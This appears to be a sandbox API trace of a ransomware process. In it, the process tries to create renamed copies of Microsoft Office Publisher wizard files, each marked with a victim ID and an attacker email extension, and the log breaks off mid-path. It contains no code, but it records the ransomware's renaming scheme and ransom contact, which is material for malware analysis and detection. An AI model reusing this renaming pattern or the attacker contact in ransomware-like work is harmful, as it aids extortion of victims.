[0271.123] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CHECKER.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\checker.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.123] CloseHandle (hObject=0xff8) returned 1 [0271.124] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.124] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CONTACTINFOBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\contactinfobb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.124] CloseHandle (hObject=0xff8) returned 1 [0271.125] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.125] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CONTACTINFOBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\contactinfobb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.126] CloseHandle (hObject=0xff8) returned 1 [0271.126] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.126] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\COUPON.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\coupon.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.127] CloseHandle (hObject=0xff8) returned 1 [0271.127] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.127] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBAR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgaccbar.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.128] CloseHandle (hObject=0xff8) returned 1 [0271.129] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.129] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBOX.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgaccbox.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.129] CloseHandle (hObject=0xff8) returned 1 [0271.130] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.131] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGAD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgad.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.131] CloseHandle (hObject=0xff8) returned 1 [0271.136] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.136] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGATNGET.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgatnget.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.137] CloseHandle (hObject=0x1268) returned 1 [0271.141] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.141] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBARBLL.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgbarbll.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.142] CloseHandle (hObject=0x1268) returned 1 [0271.143] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.143] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBORDER.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgborder.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.143] CloseHandle (hObject=0x1268) returned 1 [0271.144] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.144] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGBOXES.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgboxes.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.145] CloseHandle (hObject=0x1268) returned 1 [0271.146] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.146] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCAL.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgcal.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.146] CloseHandle (hObject=0x1268) returned 1 [0271.148] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.148] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCHKBRD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgchkbrd.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.148] CloseHandle (hObject=0x1268) returned 1 [0271.149] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.149] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGCOUPON.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgcoupon.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.149] CloseHandle (hObject=0x1268) returned 1 [0271.273] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.273] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGDOTS.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgdots.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.274] CloseHandle (hObject=0xff0) returned 1 [0271.275] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.275] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLOGO.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dglogo.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.276] CloseHandle (hObject=0xff0) returned 1 [0271.276] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.277] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMARQ.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgmarq.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.277] CloseHandle (hObject=0xff0) returned 1 [0271.278] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.278] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGMASTHD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgmasthd.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.278] CloseHandle (hObject=0xff0) returned 1 [0271.279] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.279] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGNAVBAR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgnavbar.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.279] CloseHandle (hObject=0xff0) returned 1 [0271.280] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.280] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPICCAP.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpiccap.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.280] CloseHandle (hObject=0xff0) returned 1 [0271.283] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.283] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPQUOT.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpquot.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.284] CloseHandle (hObject=0xff0) returned 1 [0271.284] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.284] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGPUNCT.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgpunct.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.285] CloseHandle (hObject=0xff0) returned 1 [0271.285] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.285] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGREPFRM.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgrepfrm.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.286] CloseHandle (hObject=0xff0) returned 1 [0271.287] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.287] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgsidebr.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.287] CloseHandle (hObject=0xff0) returned 1 [0271.288] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.288] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTEAR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgtear.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.289] CloseHandle (hObject=0xff0) returned 1 [0271.289] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.289] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTOC.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgtoc.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.290] CloseHandle (hObject=0xff0) returned 1 [0271.291] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.291] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBBTN.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebbtn.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.291] CloseHandle (hObject=0xff0) returned 1 [0271.292] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.292] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBCAL.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebcal.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.292] CloseHandle (hObject=0xff0) returned 1 [0271.293] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.293] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBHD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebhd.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.293] CloseHandle (hObject=0xff0) returned 1 [0271.295] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.295] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBPQT.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebpqt.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.295] CloseHandle (hObject=0xff0) returned 1 [0271.297] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.297] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBSBR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebsbr.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.297] CloseHandle (hObject=0xff0) returned 1 [0271.298] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.298] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGZIP.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgzip.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.298] CloseHandle (hObject=0xff0) returned 1 [0271.300] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.300] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 